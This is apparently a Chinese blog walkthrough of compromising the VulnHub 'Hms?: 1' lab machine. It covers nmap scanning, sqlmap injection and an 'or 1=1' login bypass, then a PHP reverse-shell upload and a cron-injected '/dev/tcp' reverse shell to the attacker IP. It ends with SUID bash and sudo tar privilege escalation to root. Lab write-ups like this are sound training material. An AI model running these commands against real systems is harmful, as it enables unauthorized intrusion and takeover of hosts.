Hms?: 1渗透测试

靶机:Hms?: 1 Hms?: 1 ~ VulnHub

攻击机:kail linux 2024

主机扫描阶段发现不了靶机,所以需要按DriftingBlues2一样手动配置网卡

1,将两台虚拟机网络连接都改为NAT模式,并查看靶机的MAC地址

2,攻击机上做主机扫描发现靶机

攻击机IP地址192.168.23.128,靶机IP地址192.168.23.144

3,扫描靶机端口服务

nmap -T4 -sC -sV -p- -A --min-rate=1000 192.168.23.144

-T<0-5>:时间模板,越大速度越快

-sV:探测开放的端口的系统/服务信息

-p:指定端口扫描范围

开启了如下服务

21/tcp open ftp vsftpd 3.0.3

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)

7080/tcp open http Apache httpd 2.4.48 ((Unix) OpenSSL/1.1.1k PHP/7.3.29 mod_perl/2.0.11 Perl/v5.32.1)

4,访问web页面192.168.23.144:7080

存在一个登录页面

5,检查HTML静态页面,可能存在SQL注入漏洞

使用sqlmap进行注入

sqlmap -o -u "http://192.168.23.144:7080/login.php" --batch -forms --level=3 --risk=3

上面输出说明[email]存在[万能密码登录]样式为[or 1=1],再爆破出数据库名

sqlmap -u "http://192.168.23.144:7080/login.php" --data "user=admin&email=mayuri.infospace%40gmail.com&password=123&btn_login=" --dbs

使用数据库clinic_db爆出表名

sqlmap -u "http://192.168.23.144:7080/login.php" --data "user=admin&email=mayuri.infospace%40gmail.com&password=123&btn_login=" -D clinic_db --tables

最后爆出root用户的信息

sqlmap -u "http://192.168.23.144:7080/login.php" --data "user=admin&email=mayuri.infospace%40gmail.com&password=123&btn_login=" -D phpmyadmin --dump-all

root | 2021-07-25 22:05:10 | {"Console\\/Mode":"collapse","NavigationWidth":0}

6,使用万能密码进行登录

登录前删除type=email标签,否则无法输入万能密码

7,查看网页源码发现文件上传地址

发现setting.php,右下角可对文件进行上传

8,在指定位置上传反弹shell的php文件

Cheat Sheets | pentestmonkey,下载需要的攻击语句

9,上传成功之后再访问文件所在的目录

192.168.23.144:7080/uploadImage/Logo/2.php

同时开启端口监听 nc -lvnp 1234

10,获得终端shell,并运行python命令获得可交互shell

python -c 'import pty;pty.spawn("/bin/bash")'

11,查看权限三件套,当前权限太低

12,提权的思路是,寻找可执行的二进制文件

find / -perm -4000 -type f 2>/dev/null

发现/usr/bin/bash可执行,可以切换到用户eren

/usr/bin/bash -p

13,用户无法查看可执行文件,查看一下定时任务 cat /etc/crontab

发现backup.sh每5分钟运行一次

利用定时任务来反弹shell,提取权限,将bash命令写入backup.sh

echo "bash -i >& /dev/tcp/192.168.23.128/1235 0>&1" >> /home/eren/backup.sh

与此同时靶机开启端口监听,nc -lvp 1235

定时任务执行之后,在攻击机上就获得了靶机的shell

14,提权操作,查看一下有没有sudo权限 sudo -l,

用户eren在主机nivek上通过sudo -l命令查看得到具有特定权限:可以使用sudo以root身份无密码(NOPASSWD)执行/bin/tar命令。这是一个比较有限的权限授予情况

**提权原理:**tar 命令通常用于压缩和解压缩文件。在某些情况下,tar 命令可以利用 --checkpoint-action 选项来执行系统命令,从而实现提权。

使用 tar 命令执行恶意脚本:利用 sudo 权限运行 tar 命令,并使用 --checkpoint-action 选项来执行恶意脚本。

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

可以看到执行命令后提权成功,获得flag

成功得到flag

知识点:利用tar命令提权

思路阐述:由于tar命令在一些情况下如果被不当使用可能会导致提权。例如,如果目标系统存在可被利用的文件包含漏洞或者配置不当的情况。如果能够利用tar命令在提取文件时覆盖关键系统文件(如/etc/passwd等),就有可能达到

主机扫描发现靶机------扫描靶机端口------靶机指定7080端口提供web服务------登录页面存在SQL注入漏洞,弱密码登录------上传反弹shell文件------进入php文件路径,从而获得shell------二进制文件切换用户eren------将发帖shell的bash脚本写入定时任务------定时任务更新,且靶机监听到反弹shell,成功获得终端------利用sudo命令+tar命令漏洞,成功提权成为root用户

相关推荐
易云码12 分钟前
信息安全建设方案,网络安全等保测评方案,等保技术解决方案,等保总体实施方案(Word原件)
数据库·物联网·安全·web安全·低代码
懒惰才能让科技进步19 分钟前
从零学习大模型(十二)-----基于梯度的重要性剪枝(Gradient-based Pruning)
人工智能·深度学习·学习·算法·chatgpt·transformer·剪枝
Qspace丨轻空间30 分钟前
气膜场馆:推动体育文化旅游创新发展的关键力量—轻空间
大数据·人工智能·安全·生活·娱乐
love_and_hope34 分钟前
Pytorch学习--神经网络--搭建小实战(手撕CIFAR 10 model structure)和 Sequential 的使用
人工智能·pytorch·python·深度学习·学习
Chef_Chen37 分钟前
从0开始学习机器学习--Day14--如何优化神经网络的代价函数
神经网络·学习·机器学习
芊寻(嵌入式)1 小时前
C转C++学习笔记--基础知识摘录总结
开发语言·c++·笔记·学习
hong1616881 小时前
跨模态对齐与跨领域学习
学习
阿伟来咯~2 小时前
记录学习react的一些内容
javascript·学习·react.js
水豚AI课代表3 小时前
分析报告、调研报告、工作方案等的提示词
大数据·人工智能·学习·chatgpt·aigc